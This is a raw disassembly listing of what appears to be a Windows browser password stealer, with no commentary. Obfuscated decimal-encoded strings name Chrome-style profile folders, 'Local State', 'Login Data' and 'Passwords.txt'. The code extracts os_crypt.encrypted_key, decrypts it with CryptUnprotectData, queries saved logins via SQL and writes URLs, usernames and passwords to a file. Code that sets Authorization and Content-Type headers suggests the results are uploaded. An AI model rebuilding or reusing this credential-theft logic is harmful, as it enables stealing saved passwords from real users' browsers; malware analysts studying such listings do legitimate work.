lea rcx, [rsp + 0xcf0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xcf0]
lea rcx, [rsp + 0x3660]
call fcn.140026ec0
nop
lea rcx, [rsp + 0xcf0]
call fcn.140049640
lea rdx, [rsp + 0x3660]
lea rcx, [rsp + 0x3640]
call fcn.1400c6770
nop
lea rcx, [rsp + 0x2d60]
call fcn.14000a0e0
lea rdx, [rsp + 0x3640]
lea rcx, [rsp + 0x2520]
call fcn.140094820
nop
lea rdx, [rsp + 0x2520]
lea rcx, [rsp + 0x2d60]
call fcn.1400bafd0
nop
lea rcx, [rsp + 0x2520]
call fcn.14000e5d0
lea rcx, [rsp + 0x2c30]
call fcn.14000a0e0
lea rdx, [0x14035cb20]
lea rcx, [rsp + 0x1100]
call fcn.14003ab30
mov rdx, rax
lea rcx, [rsp + 0x2c30]
call fcn.14000f220
nop
mov rbx, qword [rsp + 0x2c30]
mov rdx, rsi
lea rcx, [rsp + 0x10e0]
call fcn.1400c6770
mov rdi, rax
lea rdx, str.Authorization
lea rcx, [rsp + 0xc10]
call fcn.140025de0
nop
mov r8, rdi
lea rdx, [rsp + 0xc10]
lea rcx, [rbx + 0x58]
call fcn.140055f70
nop
lea rcx, [rsp + 0xc10]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x10e0]
call fcn.1400067f0
mov rbx, qword [rsp + 0x2c30]
lea rdx, str.Content_Type
lea rcx, [rsp + 0xbf0]
call fcn.140025de0
nop
lea rdx, [rsp + 0xbf0]
lea rcx, [rbx + 0x58]
call fcn.14005e9c0
nop
lea rcx, [rsp + 0xbf0]
call fcn.1400067f0
mov qword [rsp + 0x80], r15
lea rdx, [rsp + 0x2c30]
lea rcx, [rsp + 0x538]
call fcn.14000f2c0
lea r9, [rsp + 0x80]
mov r8, rax
lea rdx, [rsp + 0x478]
lea rcx, [rsp + 0x2d60]
call fcn.1400bef20
nop
lea rdx, [rsp + 0x468]
mov rcx, rax
call fcn.14005f290
mov rbx, rax
lea r8, [rsp + 0x3050]
mov rdx, rsi
lea rcx, [rsp + 0x1e20]
call fcn.140031d50
nop
mov r8, rax
lea rdx, [rsp + 0x458]
mov rcx, rbx
call fcn.14005fb50
nop
mov rcx, rax
call fcn.14000e220
nop
lea rcx, [rsp + 0x458]
call fcn.1400093c0
nop
lea rcx, [rsp + 0x1e20]
call fcn.140032150
nop
lea rcx, [rsp + 0x468]
call fcn.1400093c0
nop
lea rcx, [rsp + 0x478]
call fcn.1400093c0
nop
lea rcx, [rsp + 0x80]
call fcn.14000c340
nop
lea rcx, [rsp + 0x2c30]
call fcn.1400093c0
nop
lea rcx, [rsp + 0x2d60]
call fcn.1400093c0
nop
lea rcx, [rsp + 0x3640]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3660]
call fcn.140049640
nop
lea rcx, [rsp + 0x2cc8]
call fcn.1400093c0
nop
lea rcx, [rsp + 0x2d70]
call fcn.1400093c0
nop
lea rcx, [rsp + 0x3680]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x36a0]
call fcn.140049640
nop
lea rcx, [rsp + 0x2c00]
call fcn.14000e830
nop
lea rcx, [rsp + 0x3f10]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x3050]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3030]
call fcn.140049640
nop
lea rcx, [rsp + 0x2e58]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2e78]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x3010]
call fcn.140049640
nop
lea rcx, [rsp + 0x30d0]
call fcn.140049640
mov r15d, dword [rsp + 0x40]
add rsi, 0x20
jmp 0x14002842f
add rsi, 0x20
jmp 0x14002842f
mov rcx, qword [rsp + 0x2748]
call qword [sym.imp.KERNEL32.dll_LocalFree]
nop
lea rcx, [rsp + 0x2cd8]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x3480]
call fcn.1400442e0
nop
lea rcx, [rsp + 0x2c80]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2be0]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2f78]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x36c0]
call fcn.140049640
nop
lea rcx, [rsp + 0x35c0]
call fcn.140049640
nop
lea rcx, [rsp + 0x2e20]
call fcn.140045c30
xor r14d, r14d
lea rsi, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.0
lea rcx, [rsp + 0x2ff0]
call fcn.140049640
nop
lea rcx, [rsp + 0x3d90]
call fcn.140010e70
nop
lea rcx, [rsp + 0x2cf0]
call fcn.140049640
nop
lea rcx, [rsp + 0x3220]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b78]
call fcn.140045a90
nop
lea rcx, [rsp + 0x3e00]
call fcn.140013570
nop
lea rcx, [rsp + 0x2fd0]
call fcn.140049640
nop
lea rcx, [rsp + 0x3240]
call fcn.140049640
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0xbd0]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xbd0]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0xbd0]
call fcn.1400067f0
test bl, bl
je 0x14002ee94
lea rdx, str.92_76_111_99_97_108_32_83_116_97_116_101
lea rcx, [rsp + 0xbb0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xbb0]
lea rcx, [rsp + 0x2b18]
call fcn.140026ec0
nop
lea rcx, [rsp + 0xbb0]
call fcn.140049640
lea r8, [rsp + 0x2b18]
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0x2a78]
call fcn.140054580
nop
lea rdx, [rsp + 0x2a78]
lea rcx, [rsp + 0xb90]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xb90]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0xb90]
call fcn.1400067f0
test bl, bl
je 0x14002edd6
lea rcx, [rsp + 0x34b0]
call fcn.140013610
mov r8d, 1
lea rdx, [rsp + 0x2a78]
lea rcx, [rsp + 0x34b0]
call fcn.140043e80
nop
cmp qword [rsp + 0x3540], 0
jne 0x140029065
lea rdx, str.Failed_to_open_JSON_file.
lea rcx, [0x14035f8a0]
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
nop
lea rcx, [rsp + 0x34b0]
call fcn.140013570
nop
lea rcx, [rsp + 0x2a78]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2968]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
xor edx, edx
lea rcx, [rsp + 0x2918]
call fcn.14004ea90
nop
lea rdx, [rsp + 0x2918]
lea rcx, [rsp + 0x34b0]
call fcn.140045960
lea rcx, [rsp + 0x34b0]
call fcn.140043de0
lea rdx, [rsp + 0x1ee0]
lea rcx, [rsp + 0x2918]
call fcn.14005e310
mov r10, rax
lea rdx, [rsp + 0x1f00]
lea rcx, [rsp + 0x2918]
call fcn.140045a00
mov rdx, rax
mov rcx, r10
call fcn.14005e4e0
test al, al
je 0x14002ed31
lea rdx, str.os_crypt
lea rcx, [rsp + 0x2918]
call fcn.14005d730
lea rdx, [rsp + 0x1f20]
mov rcx, rax
call fcn.14005e5b0
mov rbx, rax
lea rdx, str.os_crypt
lea rcx, [rsp + 0x2918]
call fcn.14005d730
lea rdx, [rsp + 0x1f40]
mov rcx, rax
call fcn.140045a00
mov rdx, rax
mov rcx, rbx
call fcn.14005e4e0
test al, al
je 0x14002ed31
lea rdx, str.os_crypt
lea rcx, [rsp + 0x2918]
call fcn.14005d730
lea rdx, str.encrypted_key
mov rcx, rax
call fcn.14005d730
lea rdx, [rsp + 0x2b58]
mov rcx, rax
call fcn.14005d850
nop
lea rcx, [rsp + 0x29d8]
call fcn.140049960
nop
lea rcx, [rsp + 0x3130]
call fcn.140013670
mov ecx, 0x68
call fcn.140260f98
mov rbx, rax
mov qword [rsp + 0x510], rax
mov rcx, rax
call fcn.140032070
mov ecx, 0x20
call fcn.140260f98
mov qword [rsp + 0x508], rax
mov rcx, rax
call fcn.140031d90
lea rdx, [rsp + 0x29d8]
call fcn.140045180
nop
mov rdx, rax
mov rcx, rbx
call fcn.140011200
mov rbx, rax
lea rcx, [rsp + 0x2b58]
call fcn.140049370
mov qword [rsp + 0x20], rbx
mov r8, qword [rsp + 0x2b68]
mov rdx, rax
lea rcx, [rsp + 0x3130]
call fcn.140010cb0
nop
lea rdx, str.DPAPI
lea rcx, [rsp + 0x2ab8]
call fcn.1400122d0
nop
mov r9, qword [rsp + 0x2ac8]
xor r8d, r8d
lea rdx, [rsp + 0x10c0]
lea rcx, [rsp + 0x29d8]
call fcn.140049150
lea rdx, [rsp + 0x2ab8]
mov rcx, rax
call fcn.140057990
movzx ebx, al
lea rcx, [rsp + 0x10c0]
call fcn.140049640
test bl, bl
je 0x14002929c
mov r9, 0xffffffffffffffff
mov r8, qword [rsp + 0x2ac8]
lea rdx, [rsp + 0x10a0]
lea rcx, [rsp + 0x29d8]
call fcn.140049150
mov rdx, rax
lea rcx, [rsp + 0x29d8]
call fcn.1400496a0
lea rcx, [rsp + 0x10a0]
call fcn.140049640
xor edx, edx
lea rcx, [rsp + 0x29d8]
call fcn.140049420
mov qword [rsp + 0x2768], rax
mov eax, dword [rsp + 0x29e8]
mov dword [rsp + 0x2760], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x2750], xmm0
lea rax, [rsp + 0x2750]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x2760]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x14002ebe8
lea rcx, [rsp + 0x2988]
call fcn.140015230
mov r8d, dword [rsp + 0x2750]
mov rdx, qword [rsp + 0x2758]
add r8, rdx
lea rcx, [rsp + 0x2988]
call fcn.14005e780
nop
lea rcx, [rsp + 0x29c0]
call fcn.140015230
lea rdx, str.71_117_101_115_116_32_80_114_111_102_105_108_101
lea rcx, [rsp + 0x1d40]
call fcn.1400122d0
nop
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0x1d60]
call fcn.1400122d0
nop
lea rdx, str.80_114_111_102_105_108_101_32_49
lea rcx, [rsp + 0x1d80]
call fcn.1400122d0
nop
lea rdx, str.80_114_111_102_105_108_101_32_50
lea rcx, [rsp + 0x1da0]
call fcn.1400122d0
nop
lea rdx, str.80_114_111_102_105_108_101_32_51
lea rcx, [rsp + 0x1dc0]
call fcn.1400122d0
nop
lea rdx, str.80_114_111_102_105_108_101_32_52
lea rcx, [rsp + 0x1de0]
call fcn.1400122d0
nop
lea rdx, str.80_114_111_102_105_108_101_32_53
lea rcx, [rsp + 0x1e00]
call fcn.1400122d0
nop
lea rax, [rsp + 0x1d40]
mov qword [rsp + 0x310], rax
lea rax, [rsp + 0x1e20]
mov qword [rsp + 0x318], rax
movaps xmm0, xmmword [rsp + 0x310]
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x29c0]
call fcn.140045820
nop
lea r9, [fcn.140049640]
mov edx, 0x20
lea r8d, [rdx - 0x19]
lea rcx, [rsp + 0x1d40]
call fcn.140260fd4
xor dil, dil
mov r12, qword [rsp + 0x29c0]
mov rax, qword [rsp + 0x29c8]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x48], r12
cmp r12, qword [rsp + 0x58]
je 0x14002a05b
mov r15, r12
mov qword [rsp + 0x2890], r12
mov rdx, r12
lea rcx, [rsp + 0x1080]
call fcn.140026ec0
mov rdx, rax
mov rcx, r12
call fcn.1400496a0
lea rcx, [rsp + 0x1080]
call fcn.140049640
mov r8, r13
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0x12e0]
call fcn.1400544a0
nop
mov r8, r12
mov rdx, rax
lea rcx, [rsp + 0x2e98]
call fcn.140054660
nop
lea rcx, [rsp + 0x12e0]
call fcn.140049640
lea rcx, [rsp + 0x2d10]
call fcn.140049960
nop
lea rcx, [rsp + 0x2c10]
call fcn.140049960
nop
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
lea rdx, str.92_76_111_103_105_110_32_68_97_116_97
test al, al
je 0x1400295f3
lea rcx, [rsp + 0xb70]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xb70]
lea rcx, [rsp + 0x1d00]
call fcn.140026ec0
nop
mov r8, rax
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0x1d20]
call fcn.1400545f0
mov rdx, rax
lea rcx, [rsp + 0x2d10]
call fcn.1400496a0
lea rcx, [rsp + 0x1d20]
call fcn.140049640
nop
lea rcx, [rsp + 0x1d00]
call fcn.140049640
nop
lea rcx, [rsp + 0xb70]
call fcn.140049640
lea rdx, str.92_70_114_101_100_121_95_68_97_116_97
lea rcx, [rsp + 0xb30]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xb30]
lea rcx, [rsp + 0x1cc0]
call fcn.140026ec0
nop
mov r8, rax
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0x1ce0]
call fcn.1400545f0
mov rdx, rax
lea rcx, [rsp + 0x2c10]
call fcn.1400496a0
lea rcx, [rsp + 0x1ce0]
call fcn.140049640
nop
lea rcx, [rsp + 0x1cc0]
call fcn.140049640
nop
lea rcx, [rsp + 0xb30]
jmp 0x1400296df
lea rcx, [rsp + 0xb10]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xb10]
lea rcx, [rsp + 0x1c80]
call fcn.140026ec0
nop
mov r8, rax
lea rdx, [rsp + 0x2e98]
lea rcx, [rsp + 0x1ca0]
call fcn.1400545f0
mov rdx, rax
lea rcx, [rsp + 0x2d10]
call fcn.1400496a0
lea rcx, [rsp + 0x1ca0]
call fcn.140049640
nop
lea rcx, [rsp + 0x1c80]
call fcn.140049640
nop
lea rcx, [rsp + 0xb10]
call fcn.140049640
lea rdx, str.92_70_114_101_100_121_95_68_97_116_97
lea rcx, [rsp + 0xab0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xab0]
lea rcx, [rsp + 0x1c40]
call fcn.140026ec0
nop
mov r8, rax
lea rdx, [rsp + 0x2e98]
lea rcx, [rsp + 0x1c60]
call fcn.1400545f0
mov rdx, rax
lea rcx, [rsp + 0x2c10]
call fcn.1400496a0
lea rcx, [rsp + 0x1c60]
call fcn.140049640
nop
lea rcx, [rsp + 0x1c40]
call fcn.140049640
nop
lea rcx, [rsp + 0xab0]
call fcn.140049640
lea rdx, [rsp + 0x2d10]
lea rcx, [rsp + 0xa90]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xa90]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0xa90]
call fcn.1400067f0
test bl, bl
je 0x140029eb8
lea rdx, [rsp + 0x2c10]
lea rcx, [rsp + 0xa70]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xa70]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0xa70]
call fcn.1400067f0
test bl, bl
je 0x140029787
lea rdx, [rsp + 0x2c10]
lea rcx, [rsp + 0x690]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0x690]
call fcn.14000a110
nop
lea rcx, [rsp + 0x690]
call fcn.1400067f0
lea rdx, [rsp + 0x2c10]
lea rcx, [rsp + 0x650]
call fcn.14005e2b0
nop
lea rdx, [rsp + 0x2d10]
lea rcx, [rsp + 0x670]
call fcn.14005e2b0
nop
lea rdx, [rsp + 0x650]
lea rcx, [rsp + 0x670]
call fcn.140009fd0
movzx ebx, al
lea rcx, [rsp + 0x670]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x650]
call fcn.1400067f0
test bl, bl
je 0x140029eb8
test dil, dil
jne 0x140029eb8
lea rcx, [rsp + 0x2c10]
call fcn.140049370
mov rcx, rax
lea rdx, [rsp + 0x2730]
call fcn.140183550
mov rcx, qword [rsp + 0x2730]
test eax, eax
je 0x1400299c0
call fcn.1401813e0
nop
lea rcx, [rsp + 0x2c10]
call fcn.140049640
nop
lea rcx, [rsp + 0x2d10]
call fcn.140049640
nop
lea rcx, [rsp + 0x2e98]
call fcn.140049640
nop
lea rcx, [rsp + 0x29c0]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2988]
call fcn.140045c30
nop
lea rcx, [rsp + 0x2ab8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3130]
call fcn.140010e70
nop
lea rcx, [rsp + 0x29d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2918]
call fcn.140045a90
nop
lea rcx, [rsp + 0x34b0]
call fcn.140013570
nop
lea rcx, [rsp + 0x2a78]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2968]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x2728]
mov r8d, 0xffffffff
lea rdx, str.SELECT_action_url__username_value__password_value_FROM_logins
call fcn.1401843e0
test eax, eax
je 0x140029b90
mov rcx, qword [rsp + 0x2730]
call fcn.1401813e0
nop
lea rcx, [rsp + 0x2c10]
call fcn.140049640
nop
lea rcx, [rsp + 0x2d10]
call fcn.140049640
nop
lea rcx, [rsp + 0x2e98]
call fcn.140049640
nop
lea rcx, [rsp + 0x29c0]
call fcn.1400457b0
nop
lea rcx, [rsp + 0x2988]
call fcn.140045c30
nop
lea rcx, [rsp + 0x2ab8]
call fcn.140049640
nop
lea rcx, [rsp + 0x3130]
call fcn.140010e70
nop
lea rcx, [rsp + 0x29d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2918]
call fcn.140045a90
nop
lea rcx, [rsp + 0x34b0]
call fcn.140013570
nop
lea rcx, [rsp + 0x2a78]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b18]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a58]
call fcn.140049640
nop
lea rcx, [rsp + 0x2a38]
call fcn.140049640
nop
lea rcx, [rsp + 0x2af8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2ad8]
call fcn.140049640
nop
lea rcx, [rsp + 0x28d8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2968]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
lea rcx, [rsp + 0x28f8]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b38]
call fcn.140049640
nop
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
jmp 0x14002f217
mov rcx, qword [rsp + 0x2728]
call fcn.140185040
cmp eax, 0x64
jne 0x140029e30
xor edx, edx
mov rcx, qword [rsp + 0x2728]
call fcn.140185630
mov rsi, rax
mov edx, 1
mov rcx, qword [rsp + 0x2728]
call fcn.140185630
mov r14, rax
mov edx, 2
mov rcx, qword [rsp + 0x2728]
call fcn.140185630
mov rdi, rax
test rax, rax
je 0x140029b90
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x140029bf0
test rcx, rcx
je 0x140029b90
test rsi, rsi
je 0x140029b90
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x140029c10
test rax, rax
je 0x140029b90
test r14, r14
je 0x140029b90
mov rax, 0xffffffffffffffff
inc rax
cmp byte [r14 + rax], 0
jne 0x140029c32
test rax, rax
je 0x140029b90
mov r8, qword [rsp + 0x2990]
mov rdx, qword [rsp + 0x2988]
lea rcx, [rsp + 0x1c20]
call fcn.14005e970
mov rbx, rax
mov rdx, rdi
lea rcx, [rsp + 0x630]
call fcn.1400122d0
nop
mov r9, rbx
lea r8, [rsp + 0x630]
lea rdx, [rsp + 0x3280]
call fcn.14002f3b0
nop
lea rcx, [rsp + 0x630]
call fcn.140049640
nop
lea rcx, [rsp + 0x1c20]
call fcn.140049640
lea rdx, str.92_80_97_115_115_119_111_114_100_115_46_116_120_116
lea rcx, [rsp + 0x610]
call fcn.140025de0
nop
lea rdx, [rsp + 0x610]
lea rcx, [rsp + 0x2fb0]
call fcn.140023cc0
nop
lea rcx, [rsp + 0x610]
call fcn.1400067f0
lea rdx, [rsp + 0x498]
lea rcx, [rsp + 0x2fb0]
call fcn.140049440
mov rbx, qword [rax]
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x2fb0]
call fcn.140025dc0
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x1be0]
call fcn.14005d8e0
nop
mov r8, rax
lea rdx, [0x140361710]
lea rcx, [rsp + 0x3260]
call fcn.140055e90
nop
lea rcx, [rsp + 0x1be0]
call fcn.1400067f0
lea rcx, [rsp + 0x3760]
call fcn.140032140
mov r8d, 8
lea rdx, [rsp + 0x3260]
lea rcx, [rsp + 0x3760]
call fcn.140041270
nop
cmp qword [rsp + 0x37e8], 0
je 0x140029ffd
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
je 0x140029eea
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0x5f0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0x5f0]
lea rcx, [rsp + 0x1bc0]
call fcn.140026ec0
mov rdx, rax
mov rcx, r15
call fcn.140057990
movzx ebx, al
lea rcx, [rsp + 0x1bc0]
call fcn.140049640
nop
lea rcx, [rsp + 0x5f0]
call fcn.140049640
test bl, bl
jne 0x140029eea
lea rcx, [rsp + 0x3760]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x3260]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2fb0]
call fcn.140049640
nop
lea rcx, [rsp + 0x3280]
call fcn.140049640
nop
mov rcx, qword [rsp + 0x2728]
call fcn.140167240
mov rcx, qword [rsp + 0x2730]
call fcn.1401813e0
lea rdx, [rsp + 0x2c10]
lea rcx, [rsp + 0x1030]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0x1030]
call fcn.14000a030
movzx ebx, al
lea rcx, [rsp + 0x1030]
call fcn.1400067f0
test bl, bl
je 0x140029eb2
lea rdx, [rsp + 0x2c10]
lea rcx, [rsp + 0x1010]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0x1010]
call fcn.14000a110
nop
lea rcx, [rsp + 0x1010]
call fcn.1400067f0
xor dil, dil
xor r14d, r14d
lea rcx, [rsp + 0x2c10]
call fcn.140049640
nop
lea rcx, [rsp + 0x2d10]
call fcn.140049640
nop
lea rcx, [rsp + 0x2e98]
call fcn.140049640
add r12, 0x20
jmp 0x140029445
lea rdx, str.BROWSER_NAME_:
lea rcx, [rsp + 0x3760]
call fcn.140056430
lea rdx, [rsp + 0x28f8]
mov rcx, rax
call fcn.140056410
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.PROFILE_:
lea rcx, [rsp + 0x3760]
call fcn.140056430
mov rdx, r15
mov rcx, rax
call fcn.140056410
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.__________________________________
lea rcx, [rsp + 0x3760]
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.URL_:
lea rcx, [rsp + 0x3760]
call fcn.140056430
mov rdx, rsi
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.USERNAME_:
lea rcx, [rsp + 0x3760]
call fcn.140056430
mov rdx, r14
mov rcx, rax
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.PASSWORD_:
lea rcx, [rsp + 0x3760]
call fcn.140056430
lea rdx, [rsp + 0x3280]
mov rcx, rax
call fcn.140056410
mov rcx, rax
call fcn.14005d2f0
lea rdx, str.__________________________________
lea rcx, [rsp + 0x3760]
call fcn.140056430
mov rcx, rax
call fcn.14005d2f0
lea rcx, [rsp + 0x3760]
call fcn.1400411d0
nop
lea rcx, [rsp + 0x3760]
call fcn.1400320a0
nop
lea rcx, [rsp + 0x3260]
call fcn.1400067f0
nop
lea rcx, [rsp + 0x2fb0]
call fcn.140049640
nop
lea rcx, [rsp + 0x3280]
call fcn.140049640
nop
jmp 0x140029b90
mov rdi, qword [rsp + 0x29c0]
mov rax, qword [rsp + 0x29c8]
mov qword [rsp + 0x2890], rax
mov qword [rsp + 0x48], rdi
cmp rdi, qword [rsp + 0x2890]
je 0x14002b029
mov qword [rsp + 0x58], rdi
lea rcx, [rsp + 0x2d30]
call fcn.140049960
nop
lea rcx, [rsp + 0x36e0]
call fcn.140032040
lea rcx, [rsp + 0x36e0]
call fcn.140041800
nop
mov r8, rdi
lea rdx, [rsp + 0x3110]
lea rcx, [rsp + 0x36e0]
call fcn.1400416e0
nop
lea rdx, [rsp + 0x2b88]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
jne 0x14002a0ff
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
test al, al
je 0x14002a155
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x1b80]
call fcn.1400122d0
nop
mov r8, qword [rsp + 0x28a0]
mov rdx, rax
lea rcx, [rsp + 0x1ba0]
call fcn.140054660
mov rdx, rax
lea rcx, [rsp + 0x28d8]
call fcn.1400496a0
lea rcx, [rsp + 0x1ba0]
call fcn.140049640
nop
lea rcx, [rsp + 0x1b80]
call fcn.140049640
lea rdx, [rsp + 0x2928]
lea rcx, [rsp + 0x28f8]
call fcn.140057990
lea rdx, str.92_78_101_116_119_111_114_107
test al, al
je 0x14002a1ea
lea rcx, [rsp + 0xff0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xff0]
lea rcx, [rsp + 0x1b40]
call fcn.140026ec0
nop
mov r8, rax
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0x1b60]
call fcn.1400545f0
mov rdx, rax
lea rcx, [rsp + 0x2d30]
call fcn.1400496a0
lea rcx, [rsp + 0x1b60]
call fcn.140049640
nop
lea rcx, [rsp + 0x1b40]
call fcn.140049640
nop
lea rcx, [rsp + 0xff0]
jmp 0x14002a2a0
lea rcx, [rsp + 0xfd0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xfd0]
lea rcx, [rsp + 0x1ac0]
call fcn.140026ec0
mov rbx, rax
mov r8, r13
lea rdx, [rsp + 0x28d8]
lea rcx, [rsp + 0x1ae0]
call fcn.1400544a0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x1b00]
call fcn.140054660
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1b20]
call fcn.1400546d0
mov rdx, rax
lea rcx, [rsp + 0x2d30]
call fcn.1400496a0
lea rcx, [rsp + 0x1b20]
call fcn.140049640
nop
lea rcx, [rsp + 0x1b00]
call fcn.140049640
nop
lea rcx, [rsp + 0x1ae0]
call fcn.140049640
nop
lea rcx, [rsp + 0x1ac0]
call fcn.140049640
nop
lea rcx, [rsp + 0xfd0]
call fcn.140049640
lea rdx, [0x1402f8f58]
lea rcx, [rsp + 0xfb0]
call fcn.1400122d0
nop
lea rdx, [rsp + 0xfb0]
lea rcx, [rsp + 0x1aa0]
call fcn.140026ec0
nop
mov r8, rax
lea rdx, [rsp + 0x2d30]
lea rcx, [rsp + 0x2ed8]
call fcn.1400545f0
nop
lea rcx, [rsp + 0x1aa0]
call fcn.140049640
nop
lea rcx, [rsp + 0xfb0]
call fcn.140049640
lea rdx, [rsp + 0x2ed8]
lea rcx, [rsp + 0xf90]
call fcn.14005e2b0
nop
lea rcx, [rsp + 0xf90]
call fcn.14000a030
